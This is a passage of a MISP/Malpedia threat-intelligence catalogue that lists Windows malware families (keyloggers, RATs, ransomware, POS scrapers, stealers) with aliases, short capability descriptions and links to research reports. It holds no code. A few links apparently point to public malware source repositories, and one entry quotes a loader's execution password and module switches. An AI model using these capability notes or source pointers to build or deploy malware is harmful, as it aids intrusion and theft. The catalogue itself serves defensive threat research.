
- 404KeyLogger
- Snake Keylogger

Table 1604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger
https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware
https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger
https://x-junior.github.io/malware%20analysis/2022/06/24/Snakekeylogger.html
https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/
https://habr.com/ru/company/group-ib/blog/477198/
https://cert.gov.ua/article/955924
https://blog.netlab.360.com/purecrypter
https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence—102

https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/
https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter
https://twitter.com/James_inthe_box/status/1401921257109561353
https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence—89
https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/
https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/
https://www.youtube.com/watch?v=vzyJp2w8bPE
https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware

4h_rat

The tag is: *misp-galaxy:malpedia="4h_rat"*

4h_rat is also known as:

Table 1605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.4h_rat
https://github.com/securitykitten/malware_references/blob/master/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/groups/G0024

7ev3n

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

The tag is: *misp-galaxy:malpedia="7ev3n"*

7ev3n is also known as:

Table 1606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n

https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n
https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/

8.t Dropper

8T_Dropper has been used by Chinese threat actor TA428 in order to install Cotx RAT onto victim's machines during Operation LagTime IT. According to Proofpoint the attack was developed against a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. The dropper was delivered through an RTF document exploiting CVE-2018-0798.

The tag is: *misp-galaxy:malpedia="8.t Dropper"*

8.t Dropper is also known as:

- 8t_dropper
- RoyalRoad

Table 1607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper
https://blog.malwarelab.pl/posts/on_the_royal_road/
https://community.riskiq.com/article/5fe2da7f
https://nao-sec.org/2021/01/royal-road-redive.html
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-attribution-object-using-rtf-object-dimensions-track-apt-phishing-weaponizers/
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/
https://tradahacking.vn/another-malicious-document-with-cve-2017-11882-839e9c0bbf2f
https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf
https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?
https://community.riskiq.com/article/56fa1b2f
https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf
https://tradahacking.vn/l%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6ca15fe1b241
https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology

9002 RAT

9002 RAT is a Remote Access Tool typically observed to be used by an APT to control a victim's machine. It has been spread over via zero day exploits (e.g. targeting Internet Explorer) as well as via email attachments. The infection chain starts by opening a .LNK (an OLE packager shell object) that executes a Powershell command.

The tag is: *misp-galaxy:malpedia="9002 RAT"*

9002 RAT is also known as:

- HOMEUNIX
- Hydraq
- McRAT

Table 1608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.9002
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://www.secureworks.com/research/threat-profiles/bronze-express
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html
https://www.secureworks.com/research/threat-profiles/bronze-union
https://www.infopoint-security.de/medien/the-elderwood-project.pdf
https://attack.mitre.org/groups/G0001/
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn

https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/
http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf

Abaddon

Uses Discord as C&C, has ransomware feature.

The tag is: *misp-galaxy:malpedia="Abaddon"*

Abaddon is also known as:

Table 1609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon
https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/

AbaddonPOS

The tag is: *misp-galaxy:malpedia="AbaddonPOS"*

AbaddonPOS is also known as:

- PinkKite
- TinyPOS

Table 1610. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos
https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software

https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/
https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/
https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://www.carbonblack.com/2020/05/21/tau-technical-report-new-attack-combines-tinypos-with-living-off-the-land-techniques-for-scraping-credit-card-data/

abantes

The tag is: *misp-galaxy:malpedia="abantes"*

abantes is also known as:

Table 1611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abantes

Abbath Banker

The tag is: *misp-galaxy:malpedia="Abbath Banker"*

Abbath Banker is also known as:

Table 1612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker

AbSent Loader

The tag is: *misp-galaxy:malpedia="AbSent Loader"*

AbSent Loader is also known as:

Table 1613. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader
https://twitter.com/cocaman/status/1260069549069733888
https://github.com/Tlgyt/AbSent-Loader

ACBackdoor (Windows)

A Linux backdoor that was apparently ported to Windows. This entry represents the Windows version. It appears the Linux version was written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: *misp-galaxy:malpedia="ACBackdoor (Windows)"*

ACBackdoor (Windows) is also known as:

Table 1614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acbackdoor
https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/

ACEHASH

ACEHASH is described by FireEye as combined credential harvester that consists of two components, a loader and encrypted/compressed payload. To execute, a password is necessary (e.g. 9839D7F1A0) and the individual modules are addressed with parameters (-m, -w, -h).

The tag is: *misp-galaxy:malpedia="ACEHASH"*

ACEHASH is also known as:

Table 1615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

AcidBox

Unit42 found AcidBox in February 2019 and describes it as a malware family used by an unknown threat actor in 2017 against Russian entities, as stated by Dr.Web. It reused and improved an exploit for VirtualBox previously used by Turla. The malware itself is a modular toolkit, featuring both usermode and kernelmode components and anti-analysis techniques such as stack-based string obfuscation or dynamic XOR-encoded API usage.

The tag is: *misp-galaxy:malpedia="AcidBox"*

AcidBox is also known as:

- MagicScroll

Table 1616. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox
https://securelist.com/apt-trends-report-q2-2020/97937/
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://www.epicturla.com/blog/acidbox-clustering
https://unit42.paloaltonetworks.com/acidbox-rare-malware/

AcridRain

AcridRain is a password stealer written in C/C++. This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.

The tag is: *misp-galaxy:malpedia="AcridRain"*

AcridRain is also known as:

Table 1617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain
https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/

Acronym

The tag is: *misp-galaxy:malpedia="Acronym"*

Acronym is also known as:

Table 1618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym

Adamantium Thief

The tag is: *misp-galaxy:malpedia="Adamantium Thief"*

Adamantium Thief is also known as:

Table 1619. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adamantium_thief
https://github.com/LimerBoy/Adamantium-Thief
https://twitter.com/ClearskySec/status/1377176015189929989

AdamLocker

Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.

The tag is: *misp-galaxy:malpedia="AdamLocker"*

AdamLocker is also known as:

Table 1620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-dec-19-dec-31-2016
https://twitter.com/JaromirHorejsi/status/813712587997249536

Adhubllka

Some Ransomware distributed by TA547 in Australia

The tag is: *misp-galaxy:malpedia="Adhubllka"*

Adhubllka is also known as:

Table 1621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka
https://www.proofpoint.com/us/blog/security-briefs/ta547-pivots-ursnif-banking-trojan-ransomware-australian-campaign

AdKoob

The tag is: *misp-galaxy:malpedia="AdKoob"*

AdKoob is also known as:

Table 1622. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob
https://news.sophos.com/en-us/2018/07/29/adkoob-information-thief-targets-facebook-ad-purchase-info/

AdvisorsBot

AdvisorsBot is a downloader named after early command and control domains that all contained the word "advisors". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.

The tag is: *misp-galaxy:malpedia="AdvisorsBot"*

AdvisorsBot is also known as:

Table 1623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot
https://www.bromium.com/second-stage-attack-analysis/
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot

Adylkuzz

The tag is: *misp-galaxy:malpedia="Adylkuzz"*

Adylkuzz is also known as:

Table 1624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz
https://www.proofpoint.com/us/threat-insight/post/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar

Afrodita

The tag is: *misp-galaxy:malpedia="Afrodita"*

Afrodita is also known as:

Table 1625. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita
https://dissectingmalwa.re/not-so-nice-after-all-afrodita-ransomware.html
https://twitter.com/*CPResearch*/status/1201957880909484033[https://twitter.com/*CPResearch*/status/1201957880909484033]
https://github.com/albertzsigovits/malware-notes/blob/master/Afrodita.md

AgendaCrypt

Ransomware written in Go.

The tag is: *misp-galaxy:malpedia="AgendaCrypt"*

AgendaCrypt is also known as:

- Agenda

Table 1626. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/
https://www.trendmicro.com/en_us/research/22/h/new-golang-ransomware-agenda-customizes-attacks.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/new-golang-ransomware-agenda-customizes-attacks/IOCs-blog-New%20Golang%20Ransomware%20Agenda%20Customizes%20Attacks.txt

Agent.BTZ

The tag is: *misp-galaxy:malpedia="Agent.BTZ"*

Agent.BTZ is also known as:

- ComRAT
- Minit
- Sun rootkit

Table 1627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz
https://docs.broadcom.com/doc/waterbug-attack-group

https://ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d
https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://cdn.muckrock.com/foia_files/2021/02/16/21R019_RESPONSE.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
http://www.intezer.com/new-variants-of-agent-btz-comrat-found/
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf
https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/
http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a
http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/
https://unit42.paloaltonetworks.com/ironnetinjector/

Agent Tesla

A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host's clipboard and beacons this information back to the C2.

The tag is: *misp-galaxy:malpedia="Agent Tesla"*

Agent Tesla is also known as:

- AgenTesla
- AgentTesla

* Negasteal

Table 1628. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
https://inquest.net/blog/2021/11/02/adults-only-malware-lures
https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/
https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4
https://www.denexus.io/wp-content/uploads/2021/02/Threat-actor-targeting-gas-oil-supply-chains_public.pdf
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/
https://blog.netlab.360.com/purecrypter
https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire
https://blog.malwarebytes.com/threat-intelligence/2022/05/nigerian-tesla-419-scammer-gone-malware-distributor-unmasked/
https://youtu.be/BM38OshcozE
https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/
https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
https://youtu.be/hxaeWyK8gMI
https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/
https://isc.sans.edu/diary/27666
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware
https://forensicitguy.github.io/agenttesla-vba-certutil-download/
https://guillaumeorlando.github.io/AgentTesla
https://cert.gov.ua/article/861292
https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
http://www.secureworks.com/research/threat-profiles/gold-galleon

https://www.inde.nz/blog/inside-agenttesla
https://isc.sans.edu/diary/rss/28190
https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/
https://community.riskiq.com/article/56e28880
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware
http://blog.nsfocus.net/sweed-611/
https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads
https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/
https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/
https://www.youtube.com/watch?v=Q9_1xNbVQPY
https://www.secureworks.com/research/threat-profiles/gold-galleon
https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/
https://news.sophos.com/en-us/2020/05/14/raticate/
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/
https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://www.lac.co.jp/lacwatch/report/20220307_002893.html
https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla
https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/
https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant
https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/
https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/
https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/
https://unit42.paloaltonetworks.com/originlogger/
https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?

https://menshaway.blogspot.com/2021/04/agenttesla-malware.html
https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/
https://isc.sans.edu/diary/28202
https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://community.riskiq.com/article/6337984e
https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/
https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/
https://isc.sans.edu/diary/rss/27092
https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting
https://malwarebookreports.com/agent-teslaggah/
https://blog.minerva-labs.com/preventing-agenttesla
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/
https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine
https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/
https://lab52.io/blog/a-twisted-malware-infection-chain/
https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor
https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/
https://twitter.com/MsftSecIntel/status/1392219299696152578
https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry
https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware

https://blog.malwarelab.pl/posts/basfu_aggah/
https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader
https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns
https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf
https://www.telsy.com/download/4832/
https://youtu.be/QQuRp7Qiuzg
https://asec.ahnlab.com/ko/29133/
https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/
https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://malwatch.github.io/posts/agent-tesla-malware-analysis/
https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/
https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr
https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html
https://isc.sans.edu/diary/27088
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/
https://community.riskiq.com/article/40000d46
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware
http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/
https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update
https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ
https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/
https://guillaumeorlando.github.io/GorgonInfectionchain
https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

AgfSpy

The agfSpy backdoor retrieves configuration and commands from its C&C server. These commands allow the backdoor to execute shell commands and send the execution results back to the server. It also enumerates directories and can list, upload, download, and execute files, among other functions. The capabilities of agfSpy are very similar to dneSpy, except each backdoor uses a different C&C server and various formats in message exchanges.

The tag is: *misp-galaxy:malpedia="AgfSpy"*

AgfSpy is also known as:

Table 1629. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy
https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html

Ahtapot

The tag is: *misp-galaxy:malpedia="Ahtapot"*

Ahtapot is also known as:

Table 1630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot
https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf

Albaniiutas

The tag is: *misp-galaxy:malpedia="Albaniiutas"*

Albaniiutas is also known as:

- BlueTraveller

Table 1631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas
https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
https://blog.group-ib.com/task

Aldibot

According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.

This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

The tag is: *misp-galaxy:malpedia="Aldibot"*

Aldibot is also known as:

Table 1632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/aldibot

Alfonso Stealer

The tag is: *misp-galaxy:malpedia="Alfonso Stealer"*

Alfonso Stealer is also known as:

Table 1633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alfonso_stealer
https://twitter.com/3xp0rtblog/status/1344352253294104576

Project Alice

The tag is: *misp-galaxy:malpedia="Project Alice"*

Project Alice is also known as:

- AliceATM
- PrAlice

Table 1634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm
http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/
https://www.symantec.com/security-center/writeup/2016-122104-0203-99
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html

Alina POS

The tag is: *misp-galaxy:malpedia="Alina POS"*

Alina POS is also known as:

- alina_eagle
- alina_spark
- katrina

Table 1635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos
http://www.xylibox.com/2013/02/alina-34-pos-malware.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-2/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-1/
https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware—sparks—off-a-new-variant/
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Casting-a-Shadow-on-POS/

https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/

AllaKore

AllaKore is a simple Remote Access Tool written in Delphi, first observed in 2015 but still in early stages of development. It implements the RFB protocol which uses frame buffers and thus is able to send back only the changes of screen frames to the controller, speeding up the transport and visualization control.

The tag is: *misp-galaxy:malpedia="AllaKore"*

AllaKore is also known as:

Table 1636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore
https://twitter.com/_re_fox/status/1212070711206064131
https://github.com/Anderson-D/AllaKore
